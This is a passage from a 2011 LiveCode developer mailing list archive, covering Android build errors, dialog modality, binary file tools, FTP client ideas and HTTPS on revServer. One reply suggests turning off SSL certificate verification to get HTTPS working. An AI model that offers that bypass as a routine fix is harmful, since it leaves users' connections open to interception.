seeing an error like: INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES when building for android. I am testing on a real device and I can't. It used to work before. =/ -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From coiin at verizon.net Fri Dec 16 22:05:35 2011 From: coiin at verizon.net (Colin Holgate) Date: Fri, 16 Dec 2011 22:05:35 -0500 Subject: problem building for Android on 5.0.2 In-Reply-To: References: Message-ID: <780F5B76-BC77-430D-9B91-FF6F8B50DB9E@verizon.net> I think that's one error I saw, when I was installing an app that was set to the default values, onto a device that already had an app made with the default settings. So, check the identifier field in the Android settings, to make sure it's different to other apps you've installed already. From keith at gulfbreezeortholab.com Sat Dec 17 01:41:11 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Sat, 17 Dec 2011 00:41:11 -0600 Subject: Visual effects delay... In-Reply-To: <2143F2A8-B37F-4B0E-861E-08834F515740@major.on-rev.com> References: <44765F26BDF24BDB80A0AEA669ADDDCD@KeithPC> <2143F2A8-B37F-4B0E-861E-08834F515740@major.on-rev.com> Message-ID: <57BA8FCD885E46048DA71E3DC754C80E@KeithPC> Thanks Klaus... -----Original Message----- From: Klaus on-rev Sent: Friday, December 16, 2011 8:09 PM To: How to use LiveCode Subject: Re: Visual effects delay... Hi Keith, Am 17.12.2011 um 00:32 schrieb Keith (Gulf Breeze Ortho Lab): > Okay... From the Dictionary: > > Description: > Use the dontUseQT property to test operation of a stack using the built-in > MCI video on Windows systems, or to use built-in visual effects rather > than QuickTime effects. > Cool! For Windows, I will use: > on preOpenStack > if the platform is "Win32" then set the dontUseQT to true > end preOpenStack do also check this in the docs: (the) dontUseQTEffects But as far as I remember this will only affect the "dissolve" effect, which does in fact, as Scott already stated, look extremely poor, ugly and amateurish without QuickTime. :-) > Thanks again guys! > Have a GREAT weekend! > > Cheers from Florida, > > - Boo Best Klaus -- Klaus Major http://www.major-k.de klaus at major.on-rev.com _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Sat Dec 17 07:48:21 2011 From: mike at doub.com (Michael Doub) Date: Sat, 17 Dec 2011 07:48:21 -0500 Subject: Message path question working with iPhone Control Kit In-Reply-To: <3EB3E15B-D0B0-4A67-9C50-AEE710859CC2@doub.com> References: <3EB3E15B-D0B0-4A67-9C50-AEE710859CC2@doub.com> Message-ID: Ahh, part of the mystery is solved. For each group representing the control, there is a behavior reference in the property inspector. This behavior reference points to the button id of the BehaviourButton on the (Behaviors) card of the iPhone Control Kit stack. This explains the message path. Unfortunately, it does not explain why this one control is not receiving the message even though the reference linkage looks correct. On 2011-12-16, at 6:00 PM, Michael Doub wrote: > I am hoping that someone on the list is familiar with the Andreas Rozek's iPhone Control Kit. (http://87.106.227.245/LiveCode/iPhoneControlKit/index_en.html) I am trying to figure out why the scroller object is not responding to the mouseUp messages. Poking around I found that I can catch the MouseUp message in the BehaviourButton script of the of the appropriate control on the (Behaviors) card of the iPhone Control Kit stack for all controls except the scroller. Although the problem I am chasing is with the scroller, how are the MouseUp messages being routed to the buttons on the (Behaviors) card? There are no MouseUp handlers in most the controls on the MainCard of the iPhone Control Kit card, or in the MainCard script. The scroller is an exception and it looks like it doing normal work. There are not even any MouseUp handlers in the stack script of iPhone Control Kit itself. > > How are the MouseUp message routed to these controls? I am clearly missing something. > > Regards, > Mike > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mike at doub.com Sat Dec 17 07:59:30 2011 From: mike at doub.com (Michael Doub) Date: Sat, 17 Dec 2011 07:59:30 -0500 Subject: Message path question working with iPhone Control Kit In-Reply-To: References: <3EB3E15B-D0B0-4A67-9C50-AEE710859CC2@doub.com> Message-ID: Making a duplicate of the BehaviourButton of the of the slider control on the (Behaviors) card of the iPhone Control Kit stack and reassigning the behaviour reference to the new button ID seems to have solved the problem. On 2011-12-17, at 7:48 AM, Michael Doub wrote: > Ahh, part of the mystery is solved. For each group representing the control, there is a behavior reference in the property inspector. This behavior reference points to the button id of the BehaviourButton on the (Behaviors) card of the iPhone Control Kit stack. This explains the message path. > > Unfortunately, it does not explain why this one control is not receiving the message even though the reference linkage looks correct. > > > On 2011-12-16, at 6:00 PM, Michael Doub wrote: > >> I am hoping that someone on the list is familiar with the Andreas Rozek's iPhone Control Kit. (http://87.106.227.245/LiveCode/iPhoneControlKit/index_en.html) I am trying to figure out why the scroller object is not responding to the mouseUp messages. Poking around I found that I can catch the MouseUp message in the BehaviourButton script of the of the appropriate control on the (Behaviors) card of the iPhone Control Kit stack for all controls except the scroller. Although the problem I am chasing is with the scroller, how are the MouseUp messages being routed to the buttons on the (Behaviors) card? There are no MouseUp handlers in most the controls on the MainCard of the iPhone Control Kit card, or in the MainCard script. The scroller is an exception and it looks like it doing normal work. There are not even any MouseUp handlers in the stack script of iPhone Control Kit itself. >> >> How are the MouseUp message routed to these controls? I am clearly missing something. >> >> Regards, >> Mike >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Sat Dec 17 10:48:14 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 17 Dec 2011 07:48:14 -0800 Subject: Visual effects delay... In-Reply-To: <2143F2A8-B37F-4B0E-861E-08834F515740@major.on-rev.com> References: <2143F2A8-B37F-4B0E-861E-08834F515740@major.on-rev.com> Message-ID: <4EECB9BE.5070705@fourthworld.com> Klaus wrote: > But as far as I remember this will only affect the "dissolve" effect, > which does in fact, as Scott already stated, look extremely poor, > ugly and amateurish without QuickTime. :-) Indeed it does: The mask-based dissolve method used in the engine was fine back in '92 when it was first written, but is no longer needed since v2.7 when the rendering engine was overhauled to support better compositing, which brought us (among other things like being able to export images of objects on unopened cards) the ability to apply a blendLevel to most objects. Why the engine doesn't use graduated blendLevels for dissolve is beyond me, but when I was making my presentation tool a while back I found the built-in dissolve so unsuitable on Linux that I wrote a handler to do that, stepping through a loop in which the blendlevel is brought from 100 to 0 to dissolve objects into view. That works very well on all platforms, and until the engine's dissolve effect is updated it's probably the best option we have for the vast majority of computers that aren't running OS X. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From livfoss at mac.com Sat Dec 17 16:00:02 2011 From: livfoss at mac.com (Graham Samuel) Date: Sat, 17 Dec 2011 22:00:02 +0100 Subject: Are the 'ask file' and 'answer file' stacks modal or not? Message-ID: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> I notice that the windows (stacks) that open when 'ask file' and 'answer file' commands are executed have close boxes under Windows (not on Mac), but on the other hand the calling program's script is stopped until there is an action (pressing a button) in the file-handling window. Does this make them modal or not? I ask because I have only very recently learned (from Ken Ray) that modal stacks always open at the loc of the stack that invoked them; but it's easy to show that this does not happen, at least not on Windows XP Home (where the loc of the window appears to be variable and may be somehow related to the last time the command was called) or on Mac (where the window always appears at the loc of the monitor the calling stack was using). I admit that my latest tests were done from within the IDE (on Windows and on Mac) but it seems at least with Windows that much the same happens with a standalone. I will now re-code Ken's method for positioning these stacks, but can anyone even guess at what is happening here, or maybe other people's mileage varies? I'm using LC 5.0.2 in all cases. Graham From jacque at hyperactivesw.com Sat Dec 17 16:22:16 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 17 Dec 2011 15:22:16 -0600 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> References: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> Message-ID: <4EED0808.7010708@hyperactivesw.com> On 12/17/11 3:00 PM, Graham Samuel wrote: > I notice that the windows (stacks) that open when 'ask file' and > 'answer file' commands are executed have close boxes under Windows > (not on Mac), but on the other hand the calling program's script is > stopped until there is an action (pressing a button) in the > file-handling window. Does this make them modal or not? I ask because > I have only very recently learned (from Ken Ray) that modal stacks > always open at the loc of the stack that invoked them; but it's easy > to show that this does not happen, at least not on Windows XP Home > (where the loc of the window appears to be variable and may be > somehow related to the last time the command was called) or on Mac > (where the window always appears at the loc of the monitor the > calling stack was using). I admit that my latest tests were done from > within the IDE (on Windows and on Mac) but it seems at least with > Windows that much the same happens with a standalone. > > I will now re-code Ken's method for positioning these stacks, but can > anyone even guess at what is happening here, or maybe other people's > mileage varies? I'm using LC 5.0.2 in all cases. Yes, they're modal. I wonder if the MC IDE may have programmed in the placement of those dialogs, and Ken is using using that. In LiveCode and all my standalones I get the same placement you do. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From kray at sonsothunder.com Sat Dec 17 19:41:19 2011 From: kray at sonsothunder.com (Ken Ray) Date: Sat, 17 Dec 2011 18:41:19 -0600 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: <4EED0808.7010708@hyperactivesw.com> References: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> <4EED0808.7010708@hyperactivesw.com> Message-ID: On Dec 17, 2011, at 3:22 PM, J. Landman Gay wrote: > Yes, they're modal. I wonder if the MC IDE may have programmed in the placement of those dialogs, and Ken is using using that. In LiveCode and all my standalones I get the same placement you do. I don't think you can program the locaton of the 'ask file' and 'answer file' dialogs? they are under the control of the host OS and behave (AFAIK) as the OS wants them to; which wil be in the last place the user dragged them (or center screen if the user never dragged them). Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From pepetoo at cox.net Sat Dec 17 20:08:33 2011 From: pepetoo at cox.net (Joe Lewis Wilkins) Date: Sat, 17 Dec 2011 17:08:33 -0800 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: References: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> <4EED0808.7010708@hyperactivesw.com> Message-ID: <66B237EE-B164-472C-AEFF-7F7A51301F78@cox.net> But then we have the "as sheet" parameter do we not? Joe Wilkins On Dec 17, 2011, at 4:41 PM, Ken Ray wrote: > > On Dec 17, 2011, at 3:22 PM, J. Landman Gay wrote: > >> Yes, they're modal. I wonder if the MC IDE may have programmed in the placement of those dialogs, and Ken is using using that. In LiveCode and all my standalones I get the same placement you do. > > I don't think you can program the locaton of the 'ask file' and 'answer file' dialogs? they are under the control of the host OS and behave (AFAIK) as the OS wants them to; which wil be in the last place the user dragged them (or center screen if the user never dragged them). > > Ken Ray > Sons of Thunder Software, Inc. > Email: kray at sonsothunder.com > Web Site: http://www.sonsothunder.com/ From kray at sonsothunder.com Sun Dec 18 00:59:42 2011 From: kray at sonsothunder.com (Ken Ray) Date: Sat, 17 Dec 2011 23:59:42 -0600 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: <66B237EE-B164-472C-AEFF-7F7A51301F78@cox.net> References: <51AE7993-07E3-4D21-90D7-8A9DA723BBC7@mac.com> <4EED0808.7010708@hyperactivesw.com> <66B237EE-B164-472C-AEFF-7F7A51301F78@cox.net> Message-ID: <77C80F88-9807-4806-983B-D91C293B2F57@sonsothunder.com> On Dec 17, 2011, at 7:08 PM, Joe Lewis Wilkins wrote: > But then we have the "as sheet" parameter do we not? For Mac, yes? but not for any other OS? Ken Ray Sons of Thunder Software, Inc. Email: kray at sonsothunder.com Web Site: http://www.sonsothunder.com/ From capellan2000 at gmail.com Sun Dec 18 11:00:07 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 08:00:07 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324055813.57882.YahooMailClassic@web161606.mail.bf1.yahoo.com> References: <1324040605345-4204548.post@n4.nabble.com> <1324048555.29600.YahooMailClassic@web161604.mail.bf1.yahoo.com> <1324049161958-4205026.post@n4.nabble.com> <1324055813.57882.YahooMailClassic@web161606.mail.bf1.yahoo.com> Message-ID: <1324224007988-4211195.post@n4.nabble.com> Hi Michael, Michael Kann wrote > > It might be helpful to extract any ASCII text which is embedded in the > binary. Then you can see what kind of file you're working with. > Example: > Standard MIDI music files have the ASCII code for "MThd" (4D?54?68?64) > Overview here: > http://en.wikipedia.org/wiki/Magic_number_%28programming%29 > Check this stack: http://andregarzia.on-rev.com/alejandro/stacks/Analize_Binary_file02.zip Have a nice weekend! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4211195.html Sent from the Revolution - User mailing list archive at Nabble.com. From mikekann at yahoo.com Sun Dec 18 12:11:04 2011 From: mikekann at yahoo.com (Michael Kann) Date: Sun, 18 Dec 2011 09:11:04 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324224007988-4211195.post@n4.nabble.com> Message-ID: <1324228264.9308.YahooMailClassic@web161606.mail.bf1.yahoo.com> Alejandro, As always, you come through in amazing ways. Mike --- On Sun, 12/18/11, Alejandro Tejada wrote: From: Alejandro Tejada Subject: Re: Scripts for reading and writing binary files To: use-revolution at lists.runrev.com Date: Sunday, December 18, 2011, 10:00 AM Hi Michael, Michael Kann wrote > > It might be helpful to extract any ASCII text which is embedded in the > binary. Then you can see what kind of file you're working with. > Example: > Standard MIDI music files have the ASCII code for "MThd" (4D?54?68?64) > Overview here: > http://en.wikipedia.org/wiki/Magic_number_%28programming%29 > Check this stack: http://andregarzia.on-rev.com/alejandro/stacks/Analize_Binary_file02.zip Have a nice weekend! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4211195.html Sent from the Revolution - User mailing list archive at Nabble.com. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From rjearp at hotmail.com Sun Dec 18 14:13:16 2011 From: rjearp at hotmail.com (Bob Earp) Date: Sun, 18 Dec 2011 11:13:16 -0800 Subject: Happy Ho ! Ho ! Message-ID: From the centre of the universe (White Rock, British Columbia), here's thanking everybody on the list for fantastic support over the last year, I don't know of another developer group that supports each other so well. Do have some very happy and safe holidays, and I wish you all a healthy 2012 !! Kind regards, Bob... Bob Earp White Rock, British Columbia. From rjearp at hotmail.com Sun Dec 18 14:41:52 2011 From: rjearp at hotmail.com (Bob Earp) Date: Sun, 18 Dec 2011 11:41:52 -0800 Subject: Wanted: Neophytes ftp Client Message-ID: The Problem: I support a bunch of seniors located around the world that wish to share files on occasions. Small files are OK as they get attached to eMail, but large files are a bugger. Unfortunately the site being used is on a shared server, so web site solutions such as Remository time-out. I can ftp the files to the server, but then the problem is most of the other users are absolute neophytes when it comes to ftp clients. Yep, I know clients like FileZilla are not that difficult to set up and use, but you try to step an 80 year old through the process, and expect them to remember it !! The Solution: We can use a fixed (hard wIred) URL, so I was thinking of putting together a "Neophytes ftp Client" with the following features (hopefully); - Cross platform (no problem with that using LC) - Start & Stop buttons which connect or disconnect the stack to the server. Just so the user can see that things are working. - Field with list of files at the remote URL with (preferably) file name & extension, date and size. - Upload button that opens a dialogue box to select a file from the local machine. - Download button that requires the user to select a file from the list of remote files - Upload/Download progress bar (nice to have) Before I start to create something from scratch, it came to mind that somebody may have already written something with similar features. Anybody know of such ? Thanks, Bob... Bob Earp White Rock, British Columbia. From m.schonewille at economy-x-talk.com Sun Dec 18 14:46:52 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 18 Dec 2011 20:46:52 +0100 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <2FAE4E7B-A599-4D85-AE63-13F4A4D44773@economy-x-talk.com> Hi, I have some very old FTP client, called extFTP. I think I could put the source code in the private section of my website, which is accessible after a donation. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 18 dec 2011, at 20:41, Bob Earp wrote: > The Problem: > I support a bunch of seniors located around the world that wish to share files on occasions. Small files are OK as they get attached to eMail, but large files are a bugger. Unfortunately the site being used is on a shared server, so web site solutions such as Remository time-out. I can ftp the files to the server, but then the problem is most of the other users are absolute neophytes when it comes to ftp clients. Yep, I know clients like FileZilla are not that difficult to set up and use, but you try to step an 80 year old through the process, and expect them to remember it !! > > The Solution: > We can use a fixed (hard wIred) URL, so I was thinking of putting together a "Neophytes ftp Client" with the following features (hopefully); > > - Cross platform (no problem with that using LC) > - Start & Stop buttons which connect or disconnect the stack to the server. Just so the user can see that things are working. > - Field with list of files at the remote URL with (preferably) file name & extension, date and size. > - Upload button that opens a dialogue box to select a file from the local machine. > - Download button that requires the user to select a file from the list of remote files > - Upload/Download progress bar (nice to have) > > Before I start to create something from scratch, it came to mind that somebody may have already written something with similar features. Anybody know of such ? > > Thanks, Bob... > > > > Bob Earp > White Rock, British Columbia. From matthias_livecode_150811 at m-r-d.de Sun Dec 18 15:04:19 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Sun, 18 Dec 2011 21:04:19 +0100 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <3D33451D-EF12-4D73-87F0-3F0EADA39C68@m-r-d.de> Bob, Andre has put an Stack called "ftp commander" to revonline. http://revonline2.runrev.com/stack/516/FTP-Commander Maybe you can start with that stack. HTH, Matthias Am 18.12.2011 um 20:41 schrieb Bob Earp: > The Problem: > I support a bunch of seniors located around the world that wish to share files on occasions. Small files are OK as they get attached to eMail, but large files are a bugger. Unfortunately the site being used is on a shared server, so web site solutions such as Remository time-out. I can ftp the files to the server, but then the problem is most of the other users are absolute neophytes when it comes to ftp clients. Yep, I know clients like FileZilla are not that difficult to set up and use, but you try to step an 80 year old through the process, and expect them to remember it !! > > The Solution: > We can use a fixed (hard wIred) URL, so I was thinking of putting together a "Neophytes ftp Client" with the following features (hopefully); > > - Cross platform (no problem with that using LC) > - Start & Stop buttons which connect or disconnect the stack to the server. Just so the user can see that things are working. > - Field with list of files at the remote URL with (preferably) file name & extension, date and size. > - Upload button that opens a dialogue box to select a file from the local machine. > - Download button that requires the user to select a file from the list of remote files > - Upload/Download progress bar (nice to have) > > Before I start to create something from scratch, it came to mind that somebody may have already written something with similar features. Anybody know of such ? > > Thanks, Bob... > > > > Bob Earp > White Rock, British Columbia. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Sun Dec 18 15:11:58 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 18 Dec 2011 12:11:58 -0800 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <4EEE490E.8070900@fourthworld.com> Bob Earp wrote: > The Problem: > I support a bunch of seniors located around the world that wish to share files on occasions. Small files are OK as they get attached to eMail, but large files are a bugger. Unfortunately the site being used is on a shared server, so web site solutions such as Remository time-out. I can ftp the files to the server, but then the problem is most of the other users are absolute neophytes when it comes to ftp clients. Yep, I know clients like FileZilla are not that difficult to set up and use, but you try to step an 80 year old through the process, and expect them to remember it !! > > The Solution: > We can use a fixed (hard wIred) URL, so I was thinking of putting together a "Neophytes ftp Client" with the following features (hopefully); > > - Cross platform (no problem with that using LC) > - Start & Stop buttons which connect or disconnect the stack to the server. Just so the user can see that things are working. > - Field with list of files at the remote URL with (preferably) file name & extension, date and size. > - Upload button that opens a dialogue box to select a file from the local machine. > - Download button that requires the user to select a file from the list of remote files > - Upload/Download progress bar (nice to have) > > Before I start to create something from scratch, it came to mind that somebody may have already written something with similar features. Anybody know of such ? Back in 2004 I wrote an article for MacTech magazine using a simple FTP client as an example of the power of high-level languages like LiveCode: It's not exactly what you're looking for, but you're welcome to use anything in the article that may be helpful. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From mwieder at ahsoftware.net Sun Dec 18 15:13:36 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sun, 18 Dec 2011 12:13:36 -0800 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <67148292875.20111218121336@ahsoftware.net> Bob- Sunday, December 18, 2011, 11:41:52 AM, you wrote: > Before I start to create something from scratch, it came to mind > that somebody may have already written something with similar > features. Anybody know of such ? You might consider one of the free web services for this. I use MediaFire (www.mediafire.com) for file storage and distribution, but there are several others (megaupload, etc). That way your users only need to know how to use a web browser. I use web storage for sharing pictures, rehearsal recordings, etc. -- -Mark Wieder mwieder at ahsoftware.net From smudge.andy at googlemail.com Sun Dec 18 15:16:42 2011 From: smudge.andy at googlemail.com (AndyP) Date: Sun, 18 Dec 2011 12:16:42 -0800 (PST) Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <1324239402699-4211855.post@n4.nabble.com> Hi Bob, A much easier route is Dropbox. This is free and allows folders and files to be shared with other Dopbox users. https://www.dropbox.com/help/19 https://www.dropbox.com/help/19 ----- Andy Piddock My software never has bugs. It just develops random features. PointandSee is a FREE simple but full featured under cursor colour picker / finder. http://www.pointandsee.co.uk - made with LiveCode (v1.4.1 released 26/08/2011) -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Wanted-Neophytes-ftp-Client-tp4211774p4211855.html Sent from the Revolution - User mailing list archive at Nabble.com. From ambassador at fourthworld.com Sun Dec 18 15:22:05 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sun, 18 Dec 2011 12:22:05 -0800 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: <77C80F88-9807-4806-983B-D91C293B2F57@sonsothunder.com> References: <77C80F88-9807-4806-983B-D91C293B2F57@sonsothunder.com> Message-ID: <4EEE4B6D.90403@fourthworld.com> Ken Ray wrote: > On Dec 17, 2011, at 7:08 PM, Joe Lewis Wilkins wrote: > >> But then we have the "as sheet" parameter do we not? > > For Mac, yes? but not for any other OS? Yes and no: the "sheet" effect only works on OS X where that's the convention, but using the "as sheet" option on Windows (and Linux too IIRC) causes the dialog to open as document-modal; that is, modal to the toplevel window at the time the dialog was invoked, while the user is still being able to interact with other toplevel windows. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From rdimola at evergreeninfo.net Sun Dec 18 17:14:24 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Sun, 18 Dec 2011 17:14:24 -0500 Subject: problem building for Android on 5.0.2 In-Reply-To: References: Message-ID: <00e601ccbdd2$66c4ff30$344efd90$@net> I have received this error when: 1) Installing app from an apk using "sign with my key" after using the test button on the real device. 2) Using the test button on the real device then installing from an apk using "sign with my key" This may also be a problem using a dev certificate. Solution was to uninstall app from device then reinstall from apk or test button. Ralph DiMola IT Director Evergreen Information Services -----Original Message----- From: use-livecode-bounces at lists.runrev.com [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of Andre Garzia Sent: Friday, December 16, 2011 9:30 PM To: How to use LiveCode Subject: problem building for Android on 5.0.2 Hey Folks, Anyone seeing an error like: INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES when building for android. I am testing on a real device and I can't. It used to work before. =/ -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun Dec 18 18:40:54 2011 From: alex at tweedly.net (Alex Tweedly) Date: Sun, 18 Dec 2011 23:40:54 +0000 Subject: revServer (on-rev) and https: Message-ID: <4EEE7A06.4030903@tweedly.net> Trying to use the following script (works fine on desktop) on my on-rev account > > put URL ("https://google.co.uk") into temp > put the result && the number of chars in temp > > ?> and it gives me > error error setting certificate verify locations: CAfile: > /etc/ssl/certs/ca-certificates.crt CApath: none 0 As I said, it works on the desktop - I don't have, or need, a certificate, or to set any location. Is there anything extra I need to do for revserver ? Is it something I can do ? Thanks -- Alex. From bdrunrev at gmail.com Sun Dec 18 19:01:36 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Mon, 19 Dec 2011 00:01:36 +0000 Subject: revServer (on-rev) and https: In-Reply-To: <4EEE7A06.4030903@tweedly.net> References: <4EEE7A06.4030903@tweedly.net> Message-ID: I haven't use on-rev or the rev server. But you could try: libUrlSetSSLVerification false That bypasses certificate verification. I would have thought you would need that on the desktop too. I think there was once some discussion about where to place .pem files in order to get desktop apps to not need to by-pass certificate verification. Bernard From alex at tweedly.net Sun Dec 18 19:27:06 2011 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 19 Dec 2011 00:27:06 +0000 Subject: revServer (on-rev) and https: In-Reply-To: References: <4EEE7A06.4030903@tweedly.net> Message-ID: <4EEE84DA.7060101@tweedly.net> Thanks, I have now tried that, but it jut gives me "can't find handler" on libUrlSetSSLVerification. I don't think I need it on the desktop because Google has (I'm sure) a valid certificate, so it ought to be the same for revserver. -- Alex. On 19/12/2011 00:01, Bernard Devlin wrote: > I haven't use on-rev or the rev server. But you could try: > > libUrlSetSSLVerification false > > That bypasses certificate verification. I would have thought you > would need that on the desktop too. I think there was once some > discussion about where to place .pem files in order to get desktop > apps to not need to by-pass certificate verification. > > Bernard > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From capellan2000 at gmail.com Sun Dec 18 19:39:10 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 16:39:10 -0800 (PST) Subject: Scripts for reading and writing binary files In-Reply-To: <1324228264.9308.YahooMailClassic@web161606.mail.bf1.yahoo.com> References: <1324040605345-4204548.post@n4.nabble.com> <1324048555.29600.YahooMailClassic@web161604.mail.bf1.yahoo.com> <1324049161958-4205026.post@n4.nabble.com> <1324055813.57882.YahooMailClassic@web161606.mail.bf1.yahoo.com> <1324224007988-4211195.post@n4.nabble.com> <1324228264.9308.YahooMailClassic@web161606.mail.bf1.yahoo.com> Message-ID: <1324255150363-4212501.post@n4.nabble.com> Hi All, I uploaded a new version of the stack "Analize Binary Files": http://andregarzia.on-rev.com/alejandro/stacks/Analize%20_Binary_files03.livecode http://at.livecodejournal.com/stacks/Analize%20_Binary_files03.livecode Many Thanks to Andre Garzia and Richard Gaskin for allowing me to store these files in their servers. Have a nice day! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Scripts-for-reading-and-writing-binary-files-tp4204548p4212501.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Sun Dec 18 19:55:01 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 16:55:01 -0800 (PST) Subject: problem building for Android on 5.0.2 In-Reply-To: References: Message-ID: <1324256101528-4212532.post@n4.nabble.com> Hi All, I am just curious about Android builds: Are these compiled Java programs? And iOS builds, Are C# compiled programs? Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/problem-building-for-Android-on-5-0-2-tp4207082p4212532.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Sun Dec 18 20:02:29 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 17:02:29 -0800 (PST) Subject: Happy Ho ! Ho ! In-Reply-To: References: Message-ID: <1324256549454-4212560.post@n4.nabble.com> Many Thanks! My Best Wishes for everyone of you in this New Year. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Happy-Ho-Ho-tp4211687p4212560.html Sent from the Revolution - User mailing list archive at Nabble.com. From andre at andregarzia.com Sun Dec 18 20:07:25 2011 From: andre at andregarzia.com (Andre Garzia) Date: Sun, 18 Dec 2011 23:07:25 -0200 Subject: problem building for Android on 5.0.2 In-Reply-To: <1324256101528-4212532.post@n4.nabble.com> References: <1324256101528-4212532.post@n4.nabble.com> Message-ID: Alejandro, iOS builds are ARM Executables. Usually made from Objective-C but anything that builds for ARM and that can interface with iOS/MacOS libraries and frameworks is good to go. I have no clue about android. I assume it is some sort of Dalvik VM bytecode thingy but I don't know. cheers Andre On Sun, Dec 18, 2011 at 10:55 PM, Alejandro Tejada wrote: > Hi All, > > I am just curious about Android builds: > Are these compiled Java programs? > > And iOS builds, Are C# compiled programs? > > Thanks in advance! > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/problem-building-for-Android-on-5-0-2-tp4207082p4212532.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From capellan2000 at gmail.com Sun Dec 18 20:16:29 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 17:16:29 -0800 (PST) Subject: 